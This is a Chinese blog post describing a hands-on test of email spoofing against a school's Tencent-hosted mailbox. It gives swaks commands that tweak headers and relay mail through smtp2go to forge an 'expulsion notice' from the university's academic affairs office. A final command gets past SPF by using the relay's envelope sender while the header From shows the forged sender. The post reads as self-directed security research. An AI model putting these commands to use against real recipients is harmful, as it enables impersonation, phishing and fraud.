LovelyWei's 废纸篓

A Noob.

LovelyWei's avatar LovelyWei

关于伪造邮件的简单研究

最近拿到了学校的邮箱,心血来潮想开始测试一下关于电子邮件安全之类的…说干就干…伪造一封退学通知书(雾

伪造邮件的原理

最初的SMTP 协议定义 (1982年RFC 821) 中并没有写如何对发件人进行身份验证,所以任何人都可以说我是 Alice (这就导致了垃圾邮件和虚假邮件的产生.

那….知道原理后先来伪造一封邮件(

使用Swaks伪造一封邮件

  • Swaks 是什么?

    Swaks的全称是 Swiss Army Knife SMTP(SMTP界的瑞士军刀),用于测试SMTP协议的各种操作.

    附原文简介:

    swaks’ primary design goal is to be a flexible, scriptable, transaction-oriented SMTP test tool. It handles SMTP features and extensions such as TLS , authentication, and pipelining; multiple version of the SMTP protocol including SMTP , ESMTP , and LMTP ; and multiple transport methods including unix-domain sockets, internet-domain sockets, and pipes to spawned processes. Options can be specified in environment variables, configuration files, and the command line allowing maximum configurability and ease of use for operators and scripters.

  • 测试目标

    首先直接输入了swaks,在to中写入自己的邮箱,先尝试了qq邮箱,然后被550了….

    kali@kali:~$ swaks
    To: 
    

    没有关系,再测一下目标,试一下学校的邮箱,用的也是腾讯的企业邮箱…

    成了,但是结果也没收到通知,翻了一下原来躺在垃圾箱里了…

  • 进一步尝试

    这里博主用了之前的写法(几个月前),结果还是被拒了…腾讯升级的也太快了吧

    kali@kali:~$ swaks --to xxxxxxx@mail.xxx.edu.cn --from info@example.com  --ehlo example.com --body hello --header "Subject: hello"
    

    第一次 550(我记得之前就是这样写的呀…),怀疑是X-Mailer挂着个swaks的问题,修改一下swaks

    kali@kali:~$ swaks --to xxxxxxx@mail.xxx.edu.cn --from info@example.com  --ehlo example.com --body hello --header "Subject: hello" --header-X-Mailer SMTP
    

    难不成还是Message-Id有kali的问题吗,也改一下吧…

    kali@kali:~$ swaks --to xxxxxx@mail.xxxx.edu.cn --from info@example.com  --ehlo example.com --body hello --header "Subject: hello"  --header-X-Mailer SMTP --header-Message-Id '<51891223094431836868@example.com>'
    

    也被拒了….没办法了,用个跳板吧.

  • 邮件托管平台

    这里使用了Smtp2go这个平台作为一个跳板,用有信誉的SMTP服务器转发邮件会增加可信度(吧)

    注册邮箱,注册时候需要有一个自己域名的邮件地址…注册好后免费的用户能发1000封邮件,足够了

    初次登陆进去会让你设置用户名和密码,设置好后就可以使用Swaks+Smtp2go来伪造邮件了

    swaks --to id@xxx.edu.cn --from root@xxx.edu.cn\
     --header-X-Mailer SMTP  --ehlo xxx.edu.cn --body 'test'\
     --server mail.smtp2go.com -p 2525 -au username -ap passwd
    

    发送后就能在收件箱收到了…稍加修改,加上附件和主题

      swaks --to id@xxx.edu.cn --from root@xxx.edu.cn\
     --header-X-Mailer SMTP  --ehlo xxx.edu.cn --body '退学通知'\
     --server mail.smtp2go.com -p 2525 -au username -ap passwd \
     --attach /home/kali/Desktop/Notice.docx --header "Subject:退学通知"
    

    就…完成啦

    效果图

    但是其实还是有一些问题的,比如发件人处并不是伪造的邮箱名称

    加上Mail.from即可显示名称了

     swaks --to id@xxx.edu.cn --from root@xxx.edu.cn\
     --header-X-Mailer SMTP  --ehlo xxx.edu.cn --body '退学通知'\
     --server mail.smtp2go.com -p 2525 -au username -ap passwd \
     --attach /home/kali/Desktop/Notice.docx --header "Subject:退学通知" \
     --h-From: '教务处<admin@xxx.edu.cn>'
    

    最终效果

  • 附加:绕过SPF

    SMTP出来了这么长时间里,其实伪造邮件一直都存在,如何解决这个问题呢?

    早在2006年的RFC 4408中提出了Sender Policy Framework (SPF)发件人政策框架 规定了如何验证发件人身份.

    通过域名DNS TXT记录中的一段SPF文字 来验证发件人的SMTP服务器IP地址是不是属于当前域的IP.如果发件IP无法通过SPF验证则会降低邮件的可信度(有可能被拒信).

    虽然QQ邮箱的安全性已经做的不错了,但是上面的邮件没有通过SPF记录的还是能正常的发送到收件人的邮箱中.

    而其实绕过SPF记录也挺简单的,在使用了第三方SMTP服务器转发的情况下,将from写为第三方发件的域,如:

    swaks --to id@xxx.edu.cn --from info@smtp2go.com\
    --header-X-Mailer SMTP  --ehlo xxx.edu.cn --body '退学通知'\
    --server mail.smtp2go.com -p 2525 -au username -ap passwd \
    --attach /home/kali/Desktop/Notice.docx --header "Subject:退学通知" \
    --h-From: '教务处<admin@xxx.edu.cn>'
    

    由于各种邮箱显示的发件人都是Header中的From,所以这样做既通过了SPF验证也显示的是伪造的名字.

结尾

其实一早就构思好了文章怎么写的了(在几个月前),结果因为咕咕太久了被腾讯升级邮箱的安全性后整个想好的都被打乱了…最终”简单研究”变得复杂了起来

我再也不敢咕咕了

以上


参考

This blog is under a CC BY-NC-SA 3.0 Unported License
Link to this article: https://hex.moe/p/4878b295/